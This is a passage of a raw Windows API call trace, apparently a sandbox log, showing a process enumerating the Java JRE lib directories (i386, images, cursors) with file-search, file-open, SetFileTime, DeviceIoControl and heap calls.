[0088.286] NtClose (Handle=0x16c) returned 0x0 [0088.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.287] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.287] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.287] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0088.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd4c8 [0088.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ff88 [0088.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.288] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 0 [0088.289] GetLastError () returned 0x12 [0088.289] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0088.289] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.289] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.289] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0088.289] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 0 [0088.289] GetLastError () returned 0x12 [0088.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.289] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.290] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0088.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.291] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.291] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.291] NtClose (Handle=0x178) returned 0x0 [0088.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.292] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0088.292] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.292] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0088.292] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 0 [0088.292] GetLastError () returned 0x12 [0088.292] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.292] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.293] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.293] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0088.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.293] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.293] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.294] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.294] NtClose (Handle=0x178) returned 0x0 [0088.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250010 [0088.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250098 [0088.295] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.297] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.297] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="")) returned 1 [0088.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250010) returned 1 [0088.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd4e8 [0088.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130da20 [0088.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.299] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif", cAlternateFileName="")) returned 1 [0088.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd508 [0088.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130db28 [0088.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.301] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd528 [0088.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130dc30 [0088.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.303] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd548 [0088.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130dd38 [0088.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.304] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd568 [0088.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130de40 [0088.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.306] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd588 [0088.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130df48 [0088.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.307] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd5a8 [0088.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130e050 [0088.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.309] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="")) returned 1 [0088.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250120) returned 1 [0088.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250120 [0088.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd5c8 [0088.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130e158 [0088.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8580) returned 0x1322698 [0088.311] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="")) returned 0 [0088.311] GetLastError () returned 0x12 [0088.311] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.311] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.311] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, 